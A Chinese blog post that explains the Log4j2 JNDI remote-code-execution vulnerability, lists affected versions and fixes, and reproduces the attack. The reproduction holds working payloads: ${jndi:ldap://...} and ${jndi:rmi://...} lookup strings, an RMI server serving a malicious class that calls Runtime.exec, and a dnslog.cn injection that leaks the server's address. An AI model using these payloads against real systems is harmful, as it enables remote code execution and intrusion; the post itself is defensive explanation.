热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Log4j2最近被爆出巨大漏洞

一、背景近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非

一、背景

近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…

相信很多互联网厂此刻正瑟瑟发抖,紧急修复。

国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告

罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。

导致该问题的原因是log4j2支持jndi的lookup
在这里插入图片描述

很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!

二、复现方法

下面以springboot服务为例:
在这里插入图片描述

log4j2框架maven依赖:

<dependencies><dependency><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-webartifactId><exclusions><exclusion><groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-loggingartifactId>exclusion>exclusions>dependency><dependency> <groupId>org.springframework.bootgroupId><artifactId>spring-boot-starter-log4j2artifactId>dependency>dependencies>

log4j2.xml配置&#xff1a;


<Configuration status&#61;"WARN"><Appenders><Console name&#61;"stdout" target&#61;"SYSTEM_OUT"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>Console><File name&#61;"file" fileName&#61;"logs/test.log" append&#61;"false"><PatternLayout pattern&#61;"%date{HH:mm:ss.SSS} [%thread] %-5level %logger{36} - %msg%n"/>File>Appenders><Loggers><Root level&#61;"info"><AppenderRef ref&#61;"file"/><AppenderRef ref&#61;"stdout"/>Root>Loggers>Configuration>

application.yml配置&#xff1a;


logging:config: classpath:log4j2.xml

测试方法&#xff1a;

public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {logger.info("username is:{}", "${java:os}");logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");}
}

这里如果是调用的&#xff1a;jndi:rmi://xxx&#xff0c;那么可以实现用户输入信息后&#xff0c;利用RMI远程调用来调用黑客远程的代码&#xff0c;到服务本机来执行&#xff08;黑客可以再编写一个api回调信息、也可以执行一些Runtime命令&#xff09;&#xff0c;这就非常危险了。

之前是在log4j2的2.15.0以前的版本&#xff0c;都有该漏洞官方收到反馈后&#xff0c;紧急发布了&#xff1a; 2.15.0-rc1版本&#xff0c;后面此版本被黑客成功绕过&#xff0c;故官方又重新发布了2.15.0-rc2版本。

下面我们演示一下黑客利用RMI的操作&#xff1a;

1、首先编写远程类&#xff1a;

public class RmiServer {public static void main(String[] args) throws Exception {Registry registry &#61; LocateRegistry.createRegistry(1111);Reference reference &#61; new Reference("com.test.EvilObj", "com.test.EvilObj", null);ReferenceWrapper wrapper &#61; new ReferenceWrapper(reference);registry.rebind("evil", wrapper);System.out.println("RMI服务已经启动....");}}

public class EvilObj {static {System.out.println("一段代码执行了...");}
}

2、通过log2j漏洞&#xff0c;远程调用&#xff08;相当于被攻击服务拉取黑客代码到本地执行&#xff09;

public class Main {private static final Logger logger &#61; LoggerFactory.getLogger(Main.class);public static void main(String[] args) {String username &#61; "${jndi:rmi://127.0.0.1:1111/evil}";logger.info("username is:{}", username);}
}

在这里插入图片描述
例如我们这里打开计算器&#xff1a;

public class EvilObj extends UnicastRef implements ObjectFactory {// static {
//
// }public EvilObj() {System.out.println("构造方法被执行了");}&#64;Overridepublic Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {openCalc();return new EvilObj();}private void openCalc() {try {System.out.println("工厂方法已经执行");Runtime.getRuntime().exec("open /Applications/Calculator.app");} catch (IOException e) {e.printStackTrace();}}
}

本质原因&#xff1a;javax.naming.spi.NamingManager类中getObjectFactoryFromReference方法中clas.newInstance()为罪魁祸首。

static ObjectFactory getObjectFactoryFromReference(Reference ref, String factoryName)throws IllegalAccessException,InstantiationException,MalformedURLException {Class<?> clas &#61; null;// Try to use current class loadertry {clas &#61; helper.loadClass(factoryName);} catch (ClassNotFoundException e) {// ignore and continue// e.printStackTrace();}// All other exceptions are passed up.// Not in class path; try to use codebaseString codebase;if (clas &#61;&#61; null &&(codebase &#61; ref.getFactoryClassLocation()) !&#61; null) {try {clas &#61; helper.loadClass(factoryName, codebase);} catch (ClassNotFoundException e) {}}return (clas !&#61; null) ? (ObjectFactory) clas.newInstance() : null;}

利用dnslog&#xff0c;还可以获取IP

http://dnslog.cn/

例如&#xff1a;ibfx5p.dnslog.cn
1、黑客首先再dnslog获取一个临时地址

2、再注入&#xff1a;${jndi:ldap://ibfx5p.dnslog.cn}
在这里插入图片描述

题外话

新技术的固然有性能更好等特点&#xff0c;不过在使用的时候最好也还是等它稳定一段时间再用&#xff0c;springboot官方配置的实现框架是logback&#xff0c;目前还没有爆出什么大的漏洞。


推荐阅读
  • SpringBoot整合SpringSecurity+JWT实现单点登录
    SpringBoot整合SpringSecurity+JWT实现单点登录,Go语言社区,Golang程序员人脉社 ... [详细]
  • 本文介绍了Web学习历程记录中关于Tomcat的基本概念和配置。首先解释了Web静态Web资源和动态Web资源的概念,以及C/S架构和B/S架构的区别。然后介绍了常见的Web服务器,包括Weblogic、WebSphere和Tomcat。接着详细讲解了Tomcat的虚拟主机、web应用和虚拟路径映射的概念和配置过程。最后简要介绍了http协议的作用。本文内容详实,适合初学者了解Tomcat的基础知识。 ... [详细]
  • 在重复造轮子的情况下用ProxyServlet反向代理来减少工作量
    像不少公司内部不同团队都会自己研发自己工具产品,当各个产品逐渐成熟,到达了一定的发展瓶颈,同时每个产品都有着自己的入口,用户 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 背景应用安全领域,各类攻击长久以来都危害着互联网上的应用,在web应用安全风险中,各类注入、跨站等攻击仍然占据着较前的位置。WAF(Web应用防火墙)正是为防御和阻断这类攻击而存在 ... [详细]
  • 开发笔记:spring boot项目打成war包部署到服务器的步骤与注意事项
    本文介绍了将spring boot项目打成war包并部署到服务器的步骤与注意事项。通过本文的学习,读者可以了解到如何将spring boot项目打包成war包,并成功地部署到服务器上。 ... [详细]
  • 本文介绍了Windows Vista操作系统中的用户账户保护功能,该功能是为了增强系统的安全性而设计的。通过对Vista测试版的体验,可以看到系统在安全性方面的进步。该功能的引入,为用户的账户安全提供了更好的保障。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
  • 目录浏览漏洞与目录遍历漏洞的危害及修复方法
    本文讨论了目录浏览漏洞与目录遍历漏洞的危害,包括网站结构暴露、隐秘文件访问等。同时介绍了检测方法,如使用漏洞扫描器和搜索关键词。最后提供了针对常见中间件的修复方式,包括关闭目录浏览功能。对于保护网站安全具有一定的参考价值。 ... [详细]
  • Spring框架《一》简介
    Spring框架《一》1.Spring概述1.1简介1.2Spring模板二、IOC容器和Bean1.IOC和DI简介2.三种通过类型获取bean3.给bean的属性赋值3.1依赖 ... [详细]
  • Apache Shiro 身份验证绕过漏洞 (CVE202011989) 详细解析及防范措施
    本文详细解析了Apache Shiro 身份验证绕过漏洞 (CVE202011989) 的原理和影响,并提供了相应的防范措施。Apache Shiro 是一个强大且易用的Java安全框架,常用于执行身份验证、授权、密码和会话管理。在Apache Shiro 1.5.3之前的版本中,与Spring控制器一起使用时,存在特制请求可能导致身份验证绕过的漏洞。本文还介绍了该漏洞的具体细节,并给出了防范该漏洞的建议措施。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 微信官方授权及获取OpenId的方法,服务器通过SpringBoot实现
    主要步骤:前端获取到code(wx.login),传入服务器服务器通过参数AppID和AppSecret访问官方接口,获取到OpenId ... [详细]
author-avatar
禁灭19
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有